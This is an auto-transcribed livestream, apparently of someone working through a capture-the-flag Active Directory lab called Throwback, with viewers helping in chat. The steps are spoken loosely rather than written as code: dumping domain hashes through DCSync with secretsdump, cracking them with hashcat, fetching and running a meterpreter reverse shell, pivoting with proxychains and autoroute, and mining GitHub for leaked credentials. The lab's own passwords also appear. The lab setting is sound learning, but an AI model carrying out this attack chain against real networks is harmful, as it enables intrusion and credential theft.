What is the backup account? Back up backup at throwback.local has the quickest way Okay, he has get changes and get changes all Maybe that Could be useful also domain controllers To exploit dc sync you need a valid user credentials that have the dc sync rights And we can find backup credentials on the device that gives us valid credentials. What? What? Let me read that one more time Build user credentials that have the dc sync rights We can find backup credentials on the device that give us valid credentials with dc sync rights I'm struggling with that sentence Exploiting a user with dc sync privileges is not as difficult as it sounds thanks to secret stump with an impact it Oh, oh, oh, oh I did this in the Attactive Directory room with That as rep kerber hosting thing enumerate the device first what like an enumerate the dc Can I like log into the thing? I mean, I guess I can now that I know credentials Can I SSH to that that feels weird, but maybe that's a thing dot 117 Yes throwback 2020 On the domain controller Okay We're doing it Let's get that user dot text real quick I am in regular command prompt so I can't use cat. Let's go for type nice nice On the domain controller Yeah, yeah, yeah, yeah, just SSH in the path will be obvious I guess I will have to review that after I Go submit this flag. What is the user flag on that? That is number 13. I love your videos. Thank you so much I really appreciate you watching the videos We're just kind of hanging out keeping it casual here right now And what else was I asking for? What is the root flag on the dc server? I need to be able to like go Like prevask on a main controller. I don't think I'm there yet EFI and update dot ps1 Nope, sorry type update dot ps1 Mmm, that looks peculiar What is EFI? Is it like yufi with boot stuff? Looks like it In the user's directory We've got backup. Can I get in there? Nope Can I get into Any of these web service I'm gonna I'm gonna stand by because I think I need to Do this synchronize here Those are scripts for dns uploading. Okay well To exploit dsync you need valid credentials that have the dc sync rights Exploding a user with dc sync privilege is not very difficult as it just sounds thanks to secret stump So they're using spooks here Is that What I should have done Should I have should I have tracked down spooks as a user or? It's I feel like I can just use jeffersd Yeah I'm gonna try I'm gonna try with jeffersd I feel uncomfortable repeatedly saying jeffersd. I'll be honest, you know Keeping it real Impact it Impact it examples and we have secrets dump secrets dump Python 3 secrets dump And I need to specify the domain controller IP address. I was about to type my local host address 117 and that needs a user Tech You Is that right? No, no, no, no, no. How does that how does that syntax go? throwback jeffers Look for files within jeffersd folders. Okay. Sorry. Thank you I lose connection on that database I did I just gave up dude Find text roger. I will I will continue to look Thank you for putting me on the straight narrow path. He's got stuff in here. Can I just find Fund Whoa Whoa Lord of type. Yeah, I don't think I could really do that on uh Windows Yeah, wrong f word Maybe some good stuff in his downloads Nope How about his documents Backup notice, uh-huh Yeah dirt dirt slash s wouldn't a would work just fine backup notice With a type command because we're in cmd to dxe Hey, yo I'm just gonna save this real quick As we back up the servers all staff are used to backup account for replicating the servers Don't use your domain admin accounts on the backup server the credentials for the backup are tbh backup 238 For the xlex mission point Hans Mercer Okay Are to use this backup account so I could use this I would be able to ssh into that account He does have a backup backup account Okay Yeah, we need a typing room Backup will that work? Yeah, okay, great Now I am that backup user here. So I know those credentials work And I could use dc sync to do this the backup account is the one that has the dc sync rights. Yep. Yeah. Yeah. Yeah, okay I follow I remember you saying And that is what we saw in bloodhound. So that's what we should be able to do Right With secret stomp So that's what I need to run this command with I follow So we ran secret stomp with that dc account and then we would use throwback To get the domain in there backup Backups back back up back up at 10 224 117 It needs the password I can slap that in Would I need to proxy change that? No Do I need to proxy change that? I feel like I need to proxy change that I've been proxy chaining to ssh, didn't I? Yeah. Duh, obviously I follow tbh backup go nice Nice Oh web service A lot of good stuff here Another user stewart little The throwback service The stage service there's tons here so this secrets dump Is Doing the dc sync attack? No Because he has dc sync privileges He can dump credentials on the domain controller So this is me Pulling down all of the credentials on the domain controller Gotcha Okay A lot of numbers there dang This is very cool to see I will admit This this shows me like the danger of like, okay Owning the domain controller, you know, but which one do you want to crack the password for so it'd be I I I think it would be cool to get like that Kerberos the ticket granting ticket service I think If my understanding is correct Or the administrator I'd like to get An account I'd like to get the administrator account here Holy crap. There's so much stuff. Okay. Okay. Okay. Oh, and there's some aspects of the corporate network white screen to scroll through all this and Grab all of this because I want that administrator Secrets dump Look at task 23 reviewing this I remember sequel service had it Oh, sorry. Sorry. I'm looking at I'm looking at a completely separate picture Mercer H Is that enough is that a credentials for you? That's plenty man Is that Mercer H? Yeah Let's get Mercer H's password then Let's try that It's uh It's this thing, right Let me check if this is a easy cheesy peasy crack station thing and then I'll throw it a hash cat No, okay Do I got to get my collab cat running again? Dear god Before I Drive down that Path or actually I feel like I should I will need my rule list this time. Roger. Good to know. Thank you Opsec go bur As you would all say Allow Let's grab this Slept that bad boy in there Actually work because I've realized the problem is that the google copy thing does not do it So Mercer H with this guy Um I need to understand How to specify this ntlm hash because this is an ntlm hash Right So hash cat Example methods ntlm That's just it. I literally just pass it that is that is that all I need to do Okay So Back to collab cat We've got that Guy set and running We'll install hash cat one more time Well, I hope this is uh, was it already? So this is all I mean Let me let me do another one. Well, I feel like I needed to recreate it. I don't know Let's try and find out There's a cell already running. Yeah, because we're trying to freaking compile hash cat again. Damn it I don't know if it would keep the state to be completely honest with you. I just honestly don't know Yeah, it's a new okay. It's a new instance of collab each time. That's good to know We got to wait till we see the said output here and then I know that it's at the end Well, I hope this hasn't been too unbearable for you to watch Especially you krillix because I realized like from the creator's perspective it's easy to see the very architected path and like the trajectory but You know, like as someone going through it, you get the deer in the headlights look would be like I am not connecting the pieces that I'm supposed to be connecting and uh You're like, oh, yeah, I forgot that I need to get this user's credentials Yeah, just no more excel No more windows Hash cat's all good See if he'll run this thing as long as it's like Not my windows Someone owned up two three two and we were certain that wasn't doable. That's awesome. Wow That's cool Dude props to them If you guys stop running now I think it's good. I think I feel like we're good Hash cat Yeah, great so Echo that in So now I have something dot text Which has the hash that I just stole from Mercer So I need hash cat tech m a thousand Tech r. Oh, should I need the rules? I need to go in the other directory.  I typed in one rules to rule them all Okay, let's let's do this in sublime text to actually know what the heck we're typing. Uh, hash cat tech m a thousand Tech r one rule to rule them all Dot rule Mercer H dot text and rock you dot text Rock you Good save Take a What does that take a do uh Nope, he got it We did it We did it We have his password Using the backup account Which has dc sync writes we could use Secrets dump from impact it to Dump All the hashes on the domain With that Oh, oh, okay, gotcha tack a specifies attack mode and hash cat With that we found Mercer H Password and we were able to crack it With the collab cat and One rule to rule them all So now let's ssh as him ssh Mercer h at 10 224 117 Proxy chains proxy gains Spending my time at the gym with my boy ssh Nice Administrator Got to that desktop boom at last commands fail root dot text type I want powershell Great we did it At least that part cool that should be 14, right? What is the uh admin or what is the root flag on that guy? So let's mark that as completed And let's slap that into four submit Okay We still have not even gotten into corp So I feel like we still got a ways to go This forest has trust issues All right, so we've dumped credentials on the primary domain controller And we can use these credentials to find the other domains or forests that we can gain a foothold on We can begin by using some offensive powershell or bloodhound to find a forest trust And then use credentials to gain access to a segmented domain controller So we did see The in in our previous bloodhound work that we have mapping domain trust and there is a dot local other domain So I'm assuming We're gonna end up doing that also this is a friggin World view in pokemon ruby sapphire and emerald That's awesome Really it's the that's the only important thing to glean from this whole room It's the first forest. Oh my gosh What a beautiful gem Trusts are a mechanism in place for users in the network to gain access to other resources in the domain For the most part trusts outline the way that domains inside of a forest communicate with each other In some environments trust can be extended out to external domains and even forests In that case Okay There are two types of trust that can determine how domains communicate first an outline of the trusts below There's a directional trust where it's only going in one direction The direction of the trusts flows from a trusting domain to a trusted domain A transitive says the trust relationship expands beyond just two domains to include other trusted domains um I think what I've heard to help uh Mentally capture that is that say you are person a And you really like your friend person b Uh, that's just one directional, right? Um, but In a transitive one Let's say your friend person b has other friends person c and d And you can say like your friends friends are your friends So you as individual or person a will also trust c and d Because you know that your buddy likes them right Yeah That's smart. That's That's just how you teach people The type of trust put in place determines how the domain and trees and forests are able to communicate and send data to and from each other When attacking in an active directory environment, you can sometimes abuse these trusts in order to move laterally throughout the network We can be Yeah, so actually with jackson mrs point with directional From what I understand is it is it just a one-way thing the direction of trust flows from a trusting domain to a trusted domain It's not vice versa or is it is it a is it a Pointed one direction trust or is it both way? Is it a two-way street? Transitive person a trust everything the person be trust. That's transitive from what I understand I'm waiting on krillix to tell me the holy word About a bidirectional trust or if it's singular or pointed in one direction Like the band it can be bidirectional. Okay. Is it not strictly? Okay, sorry. I'm going to I'm continuing reading to learn here In this case, we'll probably want a proxy server on the domain controller itself so We should do that Which domain has a trust relationship with throwback dot local? We have corporate dot lower dot local What is the host name of the machine that has a forest trust with the domain controller? How can I tell that host? What is the host name of the machine that has a forest trust? With the domain controller Sorry. Yeah, I was john was like I was I was ice cold frozen there This is just domain trusts, but I want to know the machine Does it tell me? transitive controllers Can I drill into this? Oh, I guess I can Click on corporate local and bloodhound. Okay, uh Let me go back. Thank you first degree trust is on it has one That's just going to be the domain out the machine itself. No, no, no, you're good. You're not wrong I guess I can get on the box now. Can I not? I don't think I even have x free rdp on my machine x free rdp That would be a good thing to have considering I mean, I guess I can do it. Can I can I proxy chains revana? Will that will that work? I don't want to I don't want to exit out of that actually. So let's let's use x free rdp I feel like uh, once we do the rdp on the machine and if we were to like take a look at those domain stuff Then we would be able to totally find. Uh, oh, uh, what what acrylic says dear god and now I'm very concerned Are you just tweaking out about the number of shells open? I was gonna know proxy chaining remana. I follow It could have been either it could have been. Yeah. Yeah, I was gonna say All right Let's proxy chains free rdp Uh, we need to specify the user And that's mercer h in this case and his password is pika pika Choose seven because that's genius and the host 224 117 do I need to specify tack h there attack v terminal Terminal, okay. Oh, I was very concerned for a second That command's gone apparently proxy chains I just completely blanked. I'm sorry x free rdp user mercer h I was gonna say everyone was like, please terminator crash. Please ruin everything again Yeah That's totally my certificate. I trust that baby like no tomorrow, dude boom The roots dots texts. We already got that not a concern um, we can look at server manager and get an idea as to what Active directory stuff is going on here Maybe Active directory domain Nice. Yeah Can I Shut down local server Domains and trusts that sounds interesting Corporate.local Let's explore that There are no items to show Fantastic Can I learn a little bit more about it? If you give me that properties trusts Thorbrach.local it's managed by Straight nothing If I right-click manage, can I do anything with it? Okay Yeah, I was gonna say I'll probably break this on accident as I tend to do corp 80 to one that looks like a potential host We can keep him in mind groups managed service accounts Yes, I'll ruin it. Don't worry This is what you came to see Okay, I feel like I found is that is that corp 80t kind of where I'm where I'm looking here No What is the host name of a machine that has a forest trust with the domain controller? What do I do? How do I find that? Am I not understanding that? I think I figured that out Active directory administrating Is there a trust section in this? No Domain controllers That's the only one There was another file on the desktop. Did you check it out? Excuse me Recycle bin on my desktop Or do you mean the dns update? That I saw in the administrators Desktop I totally didn't check it out and I totally should have Give me the permission, please. Thank you I thought this was just going to be more administrators things More more dns stuff I remember acrylics. I mentioned that they're like no, no, no, don't worry about that And it doesn't look like there's anything extremely interesting here Other than 232 What is 232? Didn't we have that as mail? It's mentioning mail What is that? Oh, that's free rdp Yeah, 232 is mail You were looking at devices on corp. Look for devices on throwback. Oh, I follow. I follow Thank you Thank you for keeping me sane Let me go back to those domains and trusts then And I'll see if there's anything I can do when I manage that thing Throwback.local Has some computers Right That's just going to be dc01. I already have that description b89 Yeah, I do. Okay. You can tell I'm like floundering here I do not normally look at like active directory stuff Those aren't the only computers that it's managing, isn't it? Look at the dns and then attempt the name scan nmap nmap scan Oh Oh Oh Like the dns server here And try to see if it has anything smarter for corporate I don't want I don't I don't need computer management. I need I want the dns I follow I think I think I follow Look at the domain controllers organizational unit in the corp management tab Okay So going back to our domains and trusts going into corporate check out manage and organizational units Is that a thing? Oh god I'm truly sorry This has to be super fainful. I'm truly sorry These are organizational units but domain controllers corp dc01. Oh dear god Did I not see that earlier? Oh my gosh I'm sorry I'm just I'm just like letting it sink in right now that I didn't find that. I'm sorry I'm just I'm just like staring at it more so I can remind myself of how horrendous I So That would make sense, right? because domain controllers Yeah, I was gonna say what it kind of it didn't seem like it was there Maybe I was wrong. I don't maybe I don't know I'm glad jackson. This is backing me up What is the administrator account we can use to access the second forest? Mercer? He's still an admin account What is the name of the file in the administrator's documents folder? There's a file of the administrator's Yeah, yeah, we'll have to look at the video after the fact apparently What am I doing back to my rdp or my my x free rdp There was something in his documents that I completely missed apparently No in mercers documents Blair.bat Hey, yo, why the fudge?  I follow to get into that Mercer can still reach that So I actually still need to get a proxy chain server on this thing Don't I not? Because I think this dc is the only thing that can actually reach it. I wouldn't be able to ssh into 18 I think Let me find out. I don't think I would be able to reach him No, that's gonna that's gonna choke. So let me get a proxy chains. Uh Let me get that set up on throwbacks dc We do have access to him because Mercer had access throwback 2020 What was this password pika pika pikachu Excuse me. Excuse me.  I never want to see you ever again in my life Okay No, let's do the power shells Power shells with two ls Incredible, um, let's Get my not a shell going Invoke or let's just do some w get w get http 10 50 22 5 8000 not a shell Dot exe We'll owe that to met dot exe and then What's background my interpreter sessions see what I've got Just to kind of check We have that on time We also have the proxy servers running um I will need a I will need a I feel like I am I misunderstanding this where I'm going to end up having two proxy servers like I'm using wso one to get to the domain controller And I'm going to need the domain controller to get into okay It's a it's a reverse shell so Can I just run auto route and socks for a and it'll be totally fine Chats going like what the heck are you talking about? Oh If it just has the session then it's going to understand that I follow okay I think I follow So if we get met to just friggin respond to us then we're good because it'll auto it'll already have auto routed some of that stuff right so Let's use multi handler Let's set that payload pat load payload to Windows meterpreter reverse tcp Set l host ton zero set l port 4141 Let's get ready to do a dot slash met dot exe over on our victim Let's run that guy whack it And okay, I see the domain controller just kicked through we also had Workstation 01 quick on the trigger We got peter's j coming in Or whoever that was I forget So, uh, we could background that then if we're just kind of good there so I Could proxy chains now to ping 10 200 24 118 It's not going to respond to ping I wouldn't I wouldn't think it would anyway ssh mercer h at that It might out of understanding Should I do Does it need the auto route? Or did I not include my proxy chains? No, I hear I included my proxy chains Did I get rid of the previous auto route? I don't think so I mean I could just I just use auto route again and just kind of do it I'm in session six now I don't think this will break anything But that doesn't get me to 118 Unless I'm misunderstanding and doing it wrong. I got to remove the old one first So Okay, isn't that something that I can do As a script or I guess I would just need to set command to like delete Now I'm just getting sketched out So if I set session four Yeah, inside the session like it should be I can tinker with it right sessions tag. I let's go to six So now I am on the dc and so if I run auto route I can see What I have set up Or at least the examples So we could add here A new subnet I don't want to delete the old one at a route As we have so Run auto route Chrome again is tweaking out on me I'd make sure the stream didn't the stream didn't die Yeah, sorry tech p will print them good call on session four. I want to add one for session five Or session six. So let me go ahead and add 224 slash zero with that S Session mask. Do I need to add do I need to specify that net mask if I delete it? I'm going to get sketched out Well, I will I seriously be able to go ahead and delete it and then like not lose a connection to this thing Dear god, let me typo that three times. So I know Could not delete route Why could I not delete that route? Is that not because I'm actually actively using it You have reverse shell. You'll totally be fine delete session four Now that's deleted theoretically Set session six And set cmd to auto add And now set that up Did not find any new subnets to add. Can I just run add? Make sure that actually works set subnet That's totally fine sessions tack i6 Run auto route with tack p Still at session four and it's not letting me delete it Uh still can ssh Water out auto route tack sd Not the other way around run auto route tack s tack d The current one that we had Did I totally mistyped that earlier and just make a fool of myself?  Why Please terminator crash Just reset my mind real quick Why would the interpreter not let me I don't think I feel like I'm not Using I don't feel like I don't have a syntax error. Like am I crazy right now? Does route work as an old command? route What a subnet mask Try giving a session number at the end And session number. I don't know what you're I don't know. I don't know what you're saying if I run auto route tack h Excuse me. I failed that auto route To delete oh, oh, oh Using that syntax you need to use route add and then 10 24 Zero slash 24. Okay, and then the subnet mask Zero and the session number and valid ip address Why do you need an ip address there one or more the arguments are not correct fill that What the fudge Uh Route remove All right, man. I appreciate you like spoon feeding me here because I I I am struggling to death on this. I don't yeah, delete I guess I just googled that that doesn't really help msf console commands. Yeah Scroll down to the route portion I'll take that guy route del You can route flush, but there might be some danger to that. I don't know route Delete let's do a route flush and see how much we break that doesn't know it. Okay msf console commands Yeah, route delete 10 224 0 255 255 255 0 4 That's still whining It's an ip address Subnet mask Still funky Nothing Let's look at all the routes we have route This is all just in this session Right Like when I run that route command as meterpreter or like inside a meterpreter, that's the routes for this specific one Maybe this can help you. I'm scared of what link. You're sending me I'm sketched out I'm sketched out by links. I don't know if that's really what I needed right now Mmm, what should we just like flush it? Should we just redo it? Yeah, don't troll. I got you I almost feel like we want terminated a crash right now Just to like Reset ours That's the thing. Yeah, if we were to crash this we'd lose a reverse shell and we'd lose the access to the We'd lose access to the dc right now. So that wouldn't really help us but I Am racking my brain while we can't add a route And we can't delete one either Yeah, yeah, that would be bad. This doesn't make sense to me. What the heck or you can close msf ssh in production and then from production ssh in the dc And run the metasploit binary Uh, we'd have to like bind to a specific place. Wouldn't we? Hey greasy woot Panam hello Welcome everybody that wanted to come hang out. We are we're riding the struggle bus right now wrestling with meterpreter routes Because we're trying to move into the corporate network inside of throwback But we need another proxy server running on the domain controller itself Still better than wrestling with excel. You're right I can't I can't uh Turn you down there If I set the session to something else does it just do it? delete Run I'd I'll set it on every single session, man Run it on everything Just delete the route, please Please tell me one of those worked What What Is it synt? Is it? Is this syntax didn't work Is that that looks like weird to me 10 200 24 0 slash 24 slash 25 5 5 5 0 that That looks funky honestly Yeah, even if I were to interact with session and try a little route flush. It's like now. That's not a thing anymore So that doesn't help. Maybe that's something for the specific module Oh Yeah Our subnet is wrong Their example says 10 10 10 dot zero Yeah What the boop? Oh my gosh Set cmd to delete set session 4 Please please I was looking at that and I was like Oh my gosh Thanks for sticking with me everybody Have you ever hated yourself so much that you? Okay, okay Okay Now let's set session six and let's set the command to add So when we verify what we're looking at we're actually going to add a route to this thing run Now pretty pretty, please Can I ssh? What is wrong now? I don't understand it. Is that machine just not running? ssh Delete and auto add. Yeah. Yeah. You know what you might be right there. You might be right Show options Do it. Get rid of that. Get rid of that thing Just a little sanly check just make sure i'm not insane uh run No routes currently defined Auto add Show options Session is six For the domain controller Throwback Mercer H on dc1. We're gonna auto add to a regular route on 24 Do it With that I should be able to ssh This is rough This is tough guys Why? Yeah, and this is when terminator crashes, right? See, this is why you should just use ssh shuttle I don't know how I mean Could we ssh shuttle into this? We could ssh shuttle into this could we not Yeah, that actually might work right This is his shuttle It won't work on windows But it has an ssh server Oh, it doesn't have python and it needs that python agent, doesn't it? Uh Yeah, how how is the environment doing maybe maybe the thing just broke and that's why we can't probe 24 minutes left John is dead and triggered inside. How did you know guys? Do I have the wrong ip address or anything? 10 200 24 118 10 224 118 Can I Win rm? I know I know uh, I know proxy change doesn't like win rm Password's wrong. Oh, you're right. You're right. You're right. Thank you. Thank you. Thank you. Good call. Good call Thank you pika pikachu seven pleased your god Give me some access And then I'll just fire another like meterpreter session off in there That's still a little wrong password like just a sanity check pika pikachu seven I passed in pikachu god mother There we go. I want to die.  Thank you, especially jackson us For oh roughing that out with me dude Thank you. Thank you We probably could rdp at that point. I mean like you like you said we could probably x free rdp Into him we got we got some stuff in the corp domain Let's let's copy this bad boy And slap it into corp dco one dot text Hi team happy thursday not much on the schedule this week. We're continuing our transition to the new server So please be patient as we make this transition or to access your usual resources Please go to mail dot corporate dot local Well, you will find our new emailing service as well as breach gtfo local Will you find our proprietary breach service that all of you are already used to If you don't already, please add 200 232 for your host file in order to access these resources Uh, yep mail dot corporate dot local Wait, wasn't that The original throwback one 232 is throwback mail As we're auditing our infrastructure Please remember that no personal social media accounts should be connected to company resources such as github If you need to use twitter to make company announcements, please use the tbh security twitter Let's go to twitter boys on stream. Here we go op sec official twitter account for throwback hack security Damn We did it Uh, this is called server update by the way server update dot text Good good Yeah, like and retweet I would I would so retweet it They probably wouldn't appreciate that Uh flag on twitter this guy Let's save that real quick Let's get to our flag dump over here do 21 Just to copy this so we've got it and We need the user flag and root flag So before I go crazy We've got to get to our desktop A lot going on sorry This looks like insanity All right root flag That's 17 Now let's go find us a user Please please please uh spooks You've got to be the only other one What is happening? Anything on that desktop Nothing. Is he in public? We could just use the usual uh get tack Child item Uh, tack recurse And we will look where The name is equal to user dot text See if we got anything that comes through Mercer H had it, okay I thought he was uh I guess a local admin, but you know what beggars can't be choosers And I am begging at this point, so You were in it. Oh, yeah, I'm sorry Did I miss 16 as an answer? Oh, no. Oh that that that's that. Okay I was like, why aren't my numbers adding up? Why aren't they in a regular human sequence? What's the flag on github? Uh, let's go to github.com slash tbh security Nope That's not it Submit the flag though. Did I submit the flag? Did I did I did I not submit the flag? I didn't Thank you Thank you I don't know how the heck you guys key uh tolerate me Thanks. Thanks. Thanks Please remember that no personal social media accounts Should be connected to company resources Don't be afraid to email me Okay Let's get back to our reading And resume progress We're almost at the end guys, holy cow Okay Now that you moved on to a new site by crossing the forestry trust boundary Your team needs to perform initial reconnaissance again This time the oscent and passive recon is up to you go through throwback hack security online presence See what information you can gather about the company to move on to gaining access to the rest of their network Github often has tons of juicy information that is up for grabs at any given time Sensitive data such as api keys or valid credentials are left in the previous commits Which can be viewed by just about anyone the example photo below is found on the type of writing just for searching for Remove password and github and filtering out by commits Google dorking can often lead to some great results that might help you find company github repositories employees or more Yep Once you find the user you want to target you may also want to investigate the github api To see if you can't find any of their sensitive information such as company email addresses And you can check the user's public events history by visiting the following url Below is the sampled result of linus torvalds Nice Okay Now that you know the fundamentals of gathering information from github Utilize your newfound resource to find data leaks from throwback hacks Hey, hello everyone that is saying hello to me Hello, thanks for coming to hang out We got mercer h As a boy for us Who else we got? That's it so Uh github hawn's mercer Throwback what user has a github account Are there other users? Oh goodness there are They just don't have Okay, so now we've got some corp users Sorry, john. Yeah, you have to pipe the google dork results into excel. Don't you dare?  How do I get all these in our new line? Find all control x paste Okay That actually wasn't that bad corp User names Google digs google dorks are pretty neat. I will give you that um I want to Know more about all of these Does this give me the full name? Yeah, it does grace brand grace brand github uh This is this is uncharted territory here. I gotta be careful You know google dorks are pretty neat john, especially if you know the company name throwback site github.com throwback hacks dark star uh Horschark Excuse me. I saw rika fox I do remember her Is she on here? No whatever Nope, no, no, no. I want to rika fox What was the user found in github? um Let me try and save this flag first real quick. Thanks for the incessant nudge Jackson us let's get back to four over here and github flag 18 Yep, and submit the flag good So now we do have this thing And we can search for Yeah, password in this repository That's it She also has a rika fox repository If you found me you're on the right track Thanks These are the only repositories that she has There are nine commits login.php Upload.php database connect That might have a password. Yeah Davies j Is it really him though? Like I feel like we found that previously I guess it is finding credentials on the github And I should note this What else do we need in there? What machine can you access with the credentials? um Should we do like some crack map exec? Or I thought we'd already done this earlier Is that going to bring me into core bety t it is? That's good to know Question is what is core bety t What was the uh get dns request? Power shell Get reverse dns record Is that just it? We did this moments ago And it's lookup No I need to get the host name We did this earlier and I totally forget it now Resolve resolve dns name. Is that in here? That is